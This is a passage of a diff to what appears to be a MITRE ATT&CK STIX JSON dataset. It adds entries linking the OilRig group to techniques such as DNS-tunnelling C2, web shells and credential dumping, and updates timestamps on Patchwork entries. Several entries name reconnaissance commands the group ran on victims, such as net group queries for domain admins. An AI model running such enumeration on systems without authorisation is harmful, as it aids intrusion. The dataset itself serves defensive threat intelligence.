+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--d39e3775-9221-4020-b826-edc111e36c7c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has used <code>net group /domain</code>, <code>net localgroup administrators</code>, <code>net group \u201cdomain admins\u201d /domain</code>, and <code>net group \u201cExchange Trusted Subsystem\u201d /domain</code> to find group permission settings on a victim.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--8edb0383-cae8-43ee-9241-b25e5068cc95",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has used <code>netstat -an</code> on a victim to get a listing of network connections.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--e30c24d3-d440-4395-88b3-3192a02c4364",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has used <code>reg query \u201cHKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\u201d</code> on a victim to query the Registry.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--4923be5e-dd24-4289-adca-e9dbf545b9c2",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has used <code>sc query</code> on a victim to gather information about services.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--70495f42-0a81-485c-8f30-c75af61f1c6a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has exfiltrated data over FTP separately from its primary C2 channel over DNS.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig Oct 2016",
+                    "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--07a550a2-27c1-43f5-8b30-c288441ad5b0",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has used custom DNS Tunneling protocols for C2.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Playbook OilRig Dec 2017",
+                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer - Oil Rig. Retrieved December 20, 2017.",
+                    "url": "https://pan-unit42.github.io/playbook%20viewer/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--166326b3-6864-4667-aee9-4d7b24cc75d8",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has used HTTP and DNS for C2.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Playbook OilRig Dec 2017",
+                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer - Oil Rig. Retrieved December 20, 2017.",
+                    "url": "https://pan-unit42.github.io/playbook%20viewer/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--12daddcc-b964-485e-8c2d-10f554d78bcc",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig malware ISMAgent falls back to its DNS tunneling mechanism if it is unable to reach the C2 server over HTTP.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "OilRig ISMAgent July 2017",
+                    "description": "Falcone, R. and Lee, B. (2017, July 27). OilRig Uses ISMDoor Variant; Possibly Linked to Greenbug Threat Group. Retrieved January 8, 2018.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/07/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--2c79282f-5e60-48b9-962a-d61c3d73b334",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has used a command-line interface for execution.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Playbook OilRig Dec 2017",
+                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer - Oil Rig. Retrieved December 20, 2017.",
+                    "url": "https://pan-unit42.github.io/playbook%20viewer/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--d329d311-422b-4144-9212-aa7da4dc273a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has used an IIS backdoor (RGDoor) via Web shell to establish redundant access. The group has also used harvested credentials to gain access to Internet-accessible resources such as Outlook Web Access, which could be used for redundant access.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Playbook OilRig Dec 2017",
+                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer - Oil Rig. Retrieved December 20, 2017.",
+                    "url": "https://pan-unit42.github.io/playbook%20viewer/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--2dbed740-1b50-4d59-a729-a1d9e6a839df",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has installed Web shells onto victim Web servers.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Playbook OilRig Dec 2017",
+                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer - Oil Rig. Retrieved December 20, 2017.",
+                    "url": "https://pan-unit42.github.io/playbook%20viewer/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--51f1d23c-1ccd-4cc4-918c-39e9a66e510b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig's TwoFace Web shell uses <code>del</code> to delete a text file of passwords after reading it.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit42 Webshell July 2017",
+                    "description": "Falcone, R. and Lee, B. (2017, July 31). TwoFace Webshell: Persistent Access Point for Lateral Movement. Retrieved January 11, 2018.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/07/unit42-twoface-webshell-persistent-access-point-lateral-movement"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--9779ccbc-c376-4a6e-a43f-56a782892302",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has used compromised credentials to access other systems on a victim network.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Playbook OilRig Dec 2017",
+                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer - Oil Rig. Retrieved December 20, 2017.",
+                    "url": "https://pan-unit42.github.io/playbook%20viewer/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--cdbfa147-52be-411d-bcbd-f6dcbf91d7b5",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has encrypted and encoded data in its malware.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Playbook OilRig Dec 2017",
+                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer - Oil Rig. Retrieved December 20, 2017.",
+                    "url": "https://pan-unit42.github.io/playbook%20viewer/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--a24299ed-9735-453c-bd13-66269b2d5d16",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has used automated collection.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Playbook OilRig Dec 2017",
+                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer - Oil Rig. Retrieved December 20, 2017.",
+                    "url": "https://pan-unit42.github.io/playbook%20viewer/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--0fa0f5d6-be0b-4a48-938c-6d9bb8b1a170",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has used credential dumping tools to steal credentials to accounts logged into the compromised system.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Playbook OilRig Dec 2017",
+                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer - Oil Rig. Retrieved December 20, 2017.",
+                    "url": "https://pan-unit42.github.io/playbook%20viewer/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--27ead6bc-2bba-49d3-bcfe-667c7654a6fc",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has used Remote Desktop Protocol to access compromised systems.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Playbook OilRig Dec 2017",
+                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer - Oil Rig. Retrieved December 20, 2017.",
+                    "url": "https://pan-unit42.github.io/playbook%20viewer/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--bd83109f-198a-43b0-a4c9-c13dd671c2da",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has used Putty to access compromised systems.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Playbook OilRig Dec 2017",
+                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer - Oil Rig. Retrieved December 20, 2017.",
+                    "url": "https://pan-unit42.github.io/playbook%20viewer/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--4fde23ab-b8db-4275-ac37-37e608cb00b0",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "A OilRig macro has run a PowerShell command to decode file contents.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "OilRig New Delivery Oct 2017",
+                    "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--67469b79-67e2-4932-9776-b09a82871723",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "A OilRig macro has run a PowerShell command to decode file contents.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "OilRig New Delivery Oct 2017",
+                    "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--e8ce10b4-3b00-40c1-983a-1d87ff9a68ee",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has used various types of scripting for execution, including.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "OilRig ISMAgent July 2017",
+                    "description": "Falcone, R. and Lee, B. (2017, July 27). OilRig Uses ISMDoor Variant; Possibly Linked to Greenbug Threat Group. Retrieved January 8, 2018.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/07/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--ae1de9c5-6bc0-459a-b4ca-568139a5ee41",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--3beb0c09-e584-4fd8-92bb-d7a1ae9192e6",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--3fb836b7-41cf-40d1-bd56-14e45e6bbd02",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--72d6fe7e-ba33-4117-8153-64226f189ed2",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--5744b31d-6633-44ca-8170-17489fec124c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "tool--4664b683-f578-434f-919b-1c1aad2a1111",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--49404706-aa42-4914-a273-2eeb217e6477",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--fd518b7a-b35d-4689-89f6-525efbeee18f",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "tool--cf23bf4a-e003-4116-bbae-1ea6c558d565",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--e94576ee-284c-4782-a6ef-b7dd8a780254",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--00c88cab-5cb9-492a-8dce-8eab92213bc3",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--34ebfdf4-ef2c-4a6c-8bfa-69704d8f7694",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c",
+            "target_ref": "malware--691c60e2-273d-4d56-9ce6-b67e0f8719ad",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--d16d59aa-f056-4cc7-9f67-0e80db9cdacb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.075Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Patchwork bypassed User Access Control (UAC).",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
@@ -29976,7 +36029,7 @@
             "id": "relationship--c5da001c-2c17-4e83-8e5c-21863ead4bd9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.075Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Patchwork ran a reverse shell with Meterpreter.",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
@@ -29997,7 +36050,7 @@
             "id": "relationship--8e28cc53-3fd4-42ed-8516-71fd9ee57641",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.075Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Patchwork collected and exfiltrated files from the infected system.",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
@@ -30018,7 +36071,7 @@
             "id": "relationship--d6e43621-ca4a-475f-b81c-037a0878728b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.075Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
